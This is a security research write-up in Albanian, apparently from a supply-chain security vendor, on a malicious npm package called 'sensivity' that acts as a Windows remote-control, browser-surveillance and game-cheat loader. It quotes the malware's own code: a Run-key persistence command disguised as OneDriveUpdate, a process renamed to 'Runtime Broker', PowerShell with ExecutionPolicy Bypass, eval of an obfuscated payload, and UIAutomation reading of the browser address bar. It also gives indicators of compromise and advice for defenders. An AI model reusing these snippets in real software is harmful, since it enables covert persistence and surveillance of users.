PairLoop: Paneli i fshehur i telekomandës në paketën npm

PairLoop: Një paketë npm, shtatëdhjetë versione dhe një panel i fshehur i telekomandës së Windows

TL; DR

Paketa npm ndjeshmëri e përshkruan veten si një "Panel Kontrolli të Ndjeshmërisë". Në Windows funksionon si një mjet për telekomandë dhe mbikëqyrje.

Pika e saj e hyrjes, launcher.js, riemërton procesin e vet në Runtime Broker, shkruan një vlerë të çelësit Run të nisur automatikisht me emrin OneDriveUpdate që rilançon paketën përmes një VBScript të fshehur, krijon PowerShell me -ExecutionPolicy Bypass, dhe më pas vlerëson një ngarkesë të serverit të ngatërruar prej 171 KB së bashku me një modul nativ prej 6.87 MB, sens.node.

Ai shërben si një panel kontrolli për çiftëzimin e telefonave në portin TCP 3000 dhe lexon URL-në e shiritit të adresave të shfletuesit aktiv përmes Windows UIAutomation, duke kërkuar për një video të koduar fort në YouTube.

Dy pjesë që më parë lexoheshin si kuti të zeza tani janë zgjidhur. Serveri i turbullt, server.obf.js, përdor një skemë obfuscator.io RC4 string-array; riimplementimi i dekoderit të tij jashtë linje (nuk ekzekutohet JavaScript) rikuperon një pikë fundore të vetme të jashtme — https://izopi.com/check.php — së bashku me një çelës publik RSA të integruar që përdoret për të verifikuar përgjigjet e licencës së nënshkruar.

Moduli vendas, sens.node, nuk është i paketuar: tabela e importit dhe vargjet e ngulitura e identifikojnë atë si një mbivendosje në lojë DirectX 11 / Dear ImGui që ofron veçori aimbot, ESP (wall-hack) dhe triggerbot, të drejtuara nga injektimi i procesit në distancë dhe leximi/shkrimi i memories.

Vargjet brenda tij i referohen entiteteve të automjeteve dhe vendndodhjeve në hartë në përputhje me GTA V / FiveM. Paketa npm është mbështjellësi i dorëzimit dhe i këmbënguljes rreth atij moduli vendas.

Sinjali përcaktues është operacional, jo teknik: një botues i vetëm anonim nxori në pah afërsisht shtatëdhjetë versione të një pakete — 2.5.0 përmes 2.5.69 — gjatë disa ditëve, secila mbante të njëjtin lëshues.

Nuk ka instalime hooksNgarkesa ekzekutohet vetëm kur paketa është nisur.

Sulmi: Si funksionon

sensivity dërgon dhjetë skedarë. Package.json është i rrallë: nuk ka fushë depozite, nuk ka licencë, një emër kryesor dhe dy pseudonime bin (sensivity, sens) që të gjitha tregojnë te launcher.js, dhe një skript fillimi i node launcher.js. Nuk ka postinstalim ose parainstalim. Asgjë nuk aktivizohet gjatë instalimit npm. Sjellja e përshkruar më poshtë ekzekutohet kur një përdorues e nis paketën - nëpërmjet bin shim, skriptit të fillimit ose një require.

Tarball përmban nisësin, një server të turbullt, modulin nativ, një skript të Visual Basic dhe një direktori public/web për panelin e kontrollit. launcher.js është orkestruesi i lexueshëm; logjika që ka rëndësi në kohën e ekzekutimit ndodhet në dy blloqet që ngarkon - një server të turbullt dhe një modul nativ të kompajluar, të dy të zgjidhur më poshtë.

 Maskaradë procesesh dhe një përditësues i rremë i OneDrive

Në fillim të ekzekutimit, launcher.js e vendos emrin e procesit të vet dy herë:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker është një proces legjitim i Windows (RuntimeBroker.exe) që ndërmjetëson lejet e aplikacioneve. Riemërtimi i një procesi Node për t'iu përshtatur do të thotë që një vështrim i shpejtë në Task Manager nuk tregon asgjë të pazakontë.

Persistenca shkruhet përmes PowerShell në vend të një API-je të drejtpërdrejtë të regjistrit:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Vlera e nisjes automatike quhet OneDriveUpdate dhe nuk tregon drejtpërdrejt te paketa. Ajo tregon te wscript.exe që ekzekuton OneDrive.Standalone.Updater.vbs të përfshirë. Ky skript rilançon node launcher.js në një dritare të fshehur. Si emri i çelësit Run ashtu edhe emri i skedarit VBScript huazojnë markën e Microsoft, kështu që hyrja e nisjes automatike lexohet si një detyrë rutinë e OneDrive.

PowerShell me anashkalim të politikës së ekzekutimit

Nisësi vazhdimisht i paguan PowerShell-it. Sink-u që skanerët e shënojnë si kritik është nisja e një .ps1 të gjeneruar me politikën e ekzekutimit të çaktivizuar:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass heq kontrollin lokal të nënshkrimit të skriptit për atë thirrje. Skriptet e gjeneruara merren me punën e mbikëqyrjes së shfletuesit dhe zbulimit të dritareve të përshkruar në seksionin tjetër.

Serveri i turbullt dhe moduli vendas

Pas konfigurimit, launcher.js ngarkon dhe ekzekuton ngarkesën e tij reale:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js është 171 KB errësim _0x-array — modeli JavaScript ku çdo varg dhe identifikues zëvendësohet nga një indeks në një varg të përzier, pastaj çreferencohet në kohën e ekzekutimit. Skema është varianti RC4 i prodhuar nga obfuscator.io: një funksion i vetëm dekoder base64-dekodon një hyrje të vargut dhe pastaj RC4-dekodon atë me një çelës për thirrje. Ri-implementimi i atij dekoderi në një skript të veçantë — ekzekutimi vetëm i ri-implementimit mbi vargun e nxjerrë të vargut me hyrje 821, kurrë JavaScript-in e vetë paketës — e shpalos atë pastër. Ajo që shfaqet është modeste, por decisive: një URL e jashtme, https://izopi.com/check.php`, e caktuar për një konstantë LICENSE_URL; një RSA e integruar PUBLIC_KEY_PEM`; paneli lokal drejton /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off dhe /trigger/status; dhe vargjet child_process, crypto dhe [Sensivity] sens.node të ngarkuara — e fundit është rreshti i saktë i regjistrit që lëshuesi rishkruan në modulin e programit të ngarkuar. Pika fundore është një kontroll licence: klienti poston një identifikues (serveri i turbullt formaton një ID Discord: varg %s) dhe çelësi RSA verifikon përgjigjen e nënshkruar të serverit.

sens.node është një shtesë native e kompiluar prej 6.87 MB, dhe nuk është e paketuar — entropia e seksionit është në 5.6–6.6 dhe tabelat e importit dhe eksportit të PE janë të paprekura, kështu që aftësitë e saj janë të lexueshme direkt. Ai eksporton napi_register_module_v1, standard Pikë hyrëse e nyjes N-API, kështu që serveri i vlerësuar e ngarkon atë me një kërkesë të thjeshtë. Tabela e tij e importit është tell. Nga KERNEL32 ai tërheq OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules dhe Process32First/NextW — grupi kanonik për gjetjen e një procesi tjetër, ndarjen e memories brenda tij dhe leximin ose shkrimin e asaj memorieje. Nga USER32 ai tërheq GetAsyncKeyState, GetKeyState, mouse_event dhe SetCursorPos; ai lidh d3d11.dll, D3DCOMPILER_43 dhe dwmapi për një mbivendosje në ekran, dhe grupin e plotë WINHTTP për thirrjet në rrjet. Vargjet e saj të integruara emërtojnë grupin e veçorive pa dykuptimësi: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, dhe bannerin Dear ImGui Dear ImGui 1.91.3 WIP. Vargjet e vendndodhjes dhe entitetit si Grapeseed Medical Clinic dhe fjalori vehicle-ESP janë në përputhje me GTA V / FiveM.

Ndarja është e qëllimshme në fakt: skedari launcher.js i lexueshëm mbart vetëm pjesët që një skaner lexon lehtë - persistencën, maskaradën, vetë thirrjen eval - ndërsa mjegullimi fsheh hostin e vetëm të jashtëm, kontaktet e kohës së ekzekutimit, dhe skedari binar mban logjikën e mbivendosjes së lojës dhe injektimit të procesit. Lëshuesi është guaska e hollë dhe e auditueshme; serveri i mjegulluar fsheh identitetin e rrjetit; moduli vendas është ngarkesa. Ne i përshkruajmë importet dhe vargjet e skedarit binar si të lexuara; ne nuk nxjerrim qëllimin e operatorit prej tyre.

 Një panel kontrolli për çiftimin e telefonit në portin 3000

Nisësi menaxhon një server lokal web në portin TCP 3000 dhe e trajton atë si një singleton. Ai pyet për një dëgjues ekzistues dhe e fshin atë para se të lidhet:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Paneli është i arritshëm në http://localhost:3000, me një URL rezervë LAN të koduar fort prej http://192.168.1.16:3000. Drejtoria public/ dhe sjellja e panelit janë në përputhje me një rrjedhë çiftëzimi QR: një telefon skanon një kod dhe lidhet me hostin si një telekomandë. Asnjë domen i jashtëm komande dhe kontrolli nuk shfaqet në tekst të qartë në lëshues - por, siç tregon çbllokimi më sipër, një i tillë është i pranishëm në serverin e bllokuar: pika fundore e licencës izopi.com. Vetë paneli është lokal dhe i shtrirë në LAN; i vetmi host dalës është ai kontroll licence.

Një model mbikëqyrës/punëtor i shkëputur e mban gjallë procesin. Launcher-i rilind veten me flamujt e mjedisit SENSIVITY_SUPERVISOR dhe SENSIVITY_WORKER, ku secili fëmijë funksionon i fshehur, kështu që mbyllja e një procesi lë një mbikëqyrës për ta rinisur atë.

Mbikëqyrja e shfletuesit dhe sinjali i YouTube-it

Sjellja më specifike është monitorimi i shfletuesit. launcher.js ndërton PowerShell që drejton Windows UIAutomation për të lexuar shiritin e adresës së një shfletuesi që është në punë:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern kthen përmbajtjen e tekstit të një elementi UI. I aplikuar në kontrollin e redaktimit të shiritit të adresës së një shfletuesi, ai kthen URL-në që viktima po shikon aktualisht — pa një zgjerim të shfletuesit, pa prekur profilin në disk dhe pa një grep API. Skripti i gjeneruar përsërit një listë $browserNames dhe nxjerr URL-në ose titullin e dritares së cilitdo shfletues që është në plan të parë.

Kjo URL testohet kundrejt një objektivi të vetëm të koduar fort:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Nisësi pyet në një cikël tre-sekondësh për një dritare shfletuesi që tregon YouTube, dhe PowerShell i gjeneruar mbart një çift Get-YouTubeBrowser / Test-TargetYouTubeUrl që përputhet me atë ID videoje. Efekti i vëzhgueshëm është i dyfishtë: URL-ja aktive e shfletimit lexohet nga ekrani i viktimës dhe zbulohet ndërveprimi i strehuesit me një video specifike në YouTube. Ne përshkruajmë mekanizmin dhe objektivin; nuk nxjerrim ndonjë motiv prej tyre.

Leximi në shiritin e adresës është ajo që skaneri etiketon sensitive_data_enumeration — një burim Process::env dhe UIAutomation që ushqen një kohë ekzekutimi të aftë për rrjet. Në izolim, duket i pafavorshëm dhe kalon në mbikëqyrje vetëm pasi cikli jetësor i të dhënave të gjurmohet nga burimi UIAutomation te serveri i turbullt.

Afati kohor dhe Evolucioni i Versionit

Ndjeshmëria nuk është një ngarkim i vetëm. Llogaria e botuesit ka afërsisht shtatëdhjetë versione të publikuara të kësaj pakete të vetme, dhe të reja vazhdojnë të mbërrijnë gjatë dritares së shqyrtimit. Launcher rritet veçori pas veçorie në të gjithë linjën 2.5.x, ndërsa qëndrueshmëria dhe ngarkimi i ngarkesës mbeten të fiksuara.

Data (UTC) Versionet e vëzhguara Gjendja e lëshuesit
2026-06-02 2.5.8 - 2.5.46 (25) Nisësi bazë i panelit QR; Qëndrueshmëria e tastit Run; vlerësimi i serverit të ngatërruar.
2026-06-03 2.5.53 - 2.5.61 (6) E njëjta gjurmë gishtash; shtypja e gjurmëve të konsolës.
2026-06-04 2.5.67, 2.5.68 (2) Shton objektivin e angazhimit të fiksuar në YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Ripublikim që plotëson boshllëqet në të gjithë gamën; mbikëqyrës/punonjës mbikëqyrës.

Leximi i lëshuesit në përfaqësuesit e shkarkuar — 2.5.0, 2.5.36 dhe 2.5.69 — tregon katër nivele. Ndërtimet më të hershme mbajnë lëshuesin bazë të çiftëzimit QR. Nga versioni 2.5.33 shfaqet mbledhësi i shiritit të adresave UIAutomation. Nga versioni 2.5.58 shtohet një shtresë menaxhimi mbikëqyrësi. Nga versioni 2.5.64, mbikëqyrësi/punëtori i shkëputur e plotëson setin. Gjatë gjithë kohës, katër gjëra nuk ndryshojnë kurrë: çelësi OneDriveUpdate Run, lëshuesi OneDrive.Standalone.Updater.vbs, server.obf.js i vlerësuar dhe moduli nativ sens.node.

Vala 2026-06-05 është e shquar sepse ripublikoi numrat e versioneve më të ulëta — 2.5.0 deri në 2.5.15 — që ndodhen poshtë versioneve të konfirmuara ditë më parë. Efekti është një rresht i vazhdueshëm 2.5.x në regjistër, ku çdo version mbart të njëjtin lëshues.

Treguesit e kompromisit

Të gjithë treguesit më poshtë u lexuan direkt nga skedari tarball i paketës. Lëshuesi i lexueshëm mbart vetëm rikthimin në modalitetin loopback dhe një adresë të vetme private LAN; emri i vetëm i hostit të jashtëm, izopi.com, u rikuperua duke çaktivizuar server.obf.js jashtë linje.

Tipi Tregues Shënimet
paketë npm:sensivity (≈70 versione, 2.5.0-2.5.69) Botues me një paketë të vetme; pa depo; pa licencë.
Skedar launcher.js Orkestrues i lexueshëm; objektivi kryesor dhe ai i koshit të ruajtjes.
Skedar server.obf.js (≈171 KB) Ngarkesë RC4 e vargut të vargjeve obfuscator.io, e ngarkuar nëpërmjet eval(fs.readFileSync(...)).
Skedar sens.node (≈6.87 MB) Shtojca N-API e nyjes PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Skedar OneDrive.Standalone.Updater.vbs Rinisës i fshehur (node launcher.js).
Rrjet https://izopi.com/check.php Pika fundore e licencës/autorizimit u rikuperua nga serveri i errësuar; çelësi publik RSA i integruar verifikon përgjigjet.
Aftësi OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Injektimi i proceseve në distancë dhe aftësia e leximit/shkrimit të memories.
Aftësi Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Mbivendosja e lojës DirectX 11 / ImGui që zbaton veçoritë e aimbot, ESP dhe triggerbot.
regjistrimi HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Vlera e nisjes automatike që tregon te wscript.exe dhe lëshuesi VBScript.
Proces process.title = 'Runtime Broker' Maskohet si procesi legjitim i Windows Runtime Broker.
sjelljes powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Anashkalimi i politikës së ekzekutimit i përdorur për skriptet e gjeneruara të PowerShell.
sjelljes UIAutomation ValuePattern leximi i shiritit të adresës së shfletuesit Lexon URL-në e dritares së shfletuesit në plan të parë.
sjelljes ID-ja e videos së synuar wJWta2lO0Lw; Sondazh 3-sekondësh në YouTube Sinjal i monitorimit të angazhimit të fiksuar.
Rrjet http://localhost:3000, rezervë http://192.168.1.16:3000 Paneli i kontrollit të çiftëzimit QR i ekspozuar lokalisht dhe në LAN.
mjedis SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Flamuj të shkëputur të koordinimit të procesit mbikëqyrës.

Atribuimi, Ndikimi dhe Mbrojtësit

Paketa publikohet nga një llogari e vetme npm, emaili i deklaruar i së cilës është një adresë Gmail e paverifikuar. Llogaria mbart një rezultat thellësisht negativ të reputacionit të regjistrit, mirëmban dhe publikon vetëm këtë paketë dhe nuk ka një depo burimi të lidhur. Ne nuk e kemi verifikuar pronësinë e emailit dhe ia atribuojmë fushatën llogarisë së botuesit, jo ndonjë individi të emëruar. Nisësi nuk mbart infrastrukturë teksti të qartë, por tani dihet i vetmi host i jashtëm: serveri i turbullt kontakton izopi.com për një kontroll licence dhe moduli vendas - i lexuar nga tabela e tij e importit dhe vargjet në vend të udhëzimit të përmbysur - është një mbivendosje loje që injekton dhe lexon kujtesën e një procesi tjetër.

Ndikimi i dukshëm bie mbi përdoruesit e Windows që instalojnë dhe ekzekutojnë ndjeshmërinë duke pritur një program të panelit të kontrollit. Në këto hoste, paketa vendos persistencën e nisjes automatike të maskuar si një detyrë OneDrive, riemërtohet për të imituar një proces sistemi, lexon URL-në e çdo gjëje që përdoruesi po shfleton dhe ngre një panel çiftëzimi që lidh makinën me një telekomandë përmes rrjetit lokal. Mbikëqyrësi/punonjësi mbikëqyrës do të thotë që një mbyllje e vetme e procesit nuk e heq atë; hyrja Run-key mbijeton rinisjet. macOS dhe Linux nuk synohen nga lëshuesi - shtigjet e persistencës, PowerShell dhe UIAutomation janë vetëm për Windows.

Zhdukja e shtatëdhjetë versioneve është trendi që ia vlen të përmendet. Ribotimi i një pakete dhjetëra herë brenda pak ditësh, duke përfshirë edhe rimbushjen e numrave të versioneve nën ato që janë hequr tashmë, mban një kopje aktive në regjistër midis heqjeve dhe i frustron listat e bllokuara të versioneve. Një hyrje në listën e bllokimit për sensivity@2.5.61 nuk bën asgjë kundër sensivity@2.5.3 të ribotuar të nesërmen.

Mbrojtësit mund të veprojnë sipas sa vijon:

  • Blloko ndjeshmërinë ndaj emrit të paketës menjëherë në listat e lejimeve të registry-proxy dhe CI. Vendosja e versioneve individuale humbet për shkak të ritmit të ribotimit; emri është treguesi i qëndrueshmërisë.
  • Kërko një vlerë Run të quajtur OneDriveUpdate, të dhënat e së cilës thirrin wscript.exe kundrejt një .vbs në një shteg për përdorues. Përditësuesi i vërtetë i OneDrive nuk regjistrohet në këtë mënyrë.
  • Alarm për një proces Node.js, process.title i të cilit është Runtime Broker. Brokeri i vërtetë është RuntimeBroker.exe, jo një Node runtime.
  • Flagoni npm në kohën e instalimit të paketave që dërgojnë një shtesë të kompiluar .node plus një eval(fs.readFileSync(…)) të një skedari vëllazëror .obf.js. Ky çiftim - binar nativ i errët i ngarkuar pranë një ngarkese teksti të turbullt - është treguesi strukturor këtu, i pavarur nga çdo IOC me varg.
  • Trajtojeni çdo dëgjues të lidhur lokalisht në portin 3000 të krijuar nga një proces i papritur Node si të dyshimtë në pikat fundore të menaxhuara të Windows.
  • Blloko ose lajmëro për kërkesat dalëse drejt izopi.com nga zhvilluesit ose përdoruesit fundorë; është pika e vetme fundore e jashtme e paketës, e arritur në /check.php nga serveri i turbullt.
  • Për çdo shtesë .node të përfshirë, inspektoni tabelën e saj të importimit përpara se t'i besoni. Kombinimi OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread është injektim i procesit në distancë pavarësisht nga ajo që pretendon të bëjë paketa; këtu ai ndodhet pranë një mbivendosjeje Direct3D dhe vargjeve aimbot/ESP/triggerbot.

Për analizë statike pipelines, forma e bindjes është e qëndrueshme në të gjithë ndryshimin e versioneve: një profil instalimi jo-rrjetor, një caktim i titullit të procesit në një emër të njohur të procesit të sistemit, një shkrim me çelësin Run nëpërmjet PowerShell dhe një vlerësim i një skedari të lexuar nga disku. Asnjëra prej këtyre nuk varet nga një domen, një IP ose një numër versioni që ribotimi i ardhshëm mund ta ndryshojë.

 Referencat

[npm: ndjeshmëria] – faqja e regjistrit për rreshtin e versionit të paketës të diskutuar këtu; i nënshtrohet heqjes.

mjetet-e-për-përbërjes-së-softuerit-sca-tools
Përparësoni, korrigjoni dhe siguroni rreziqet e softuerit tuaj
Merrni Llogarinë tuaj Falas.
Nuk kërkohet kartë krediti.

Siguroni Zhvillimin dhe Ofrimin e Softuerit tuaj

me Xygeni Product Suite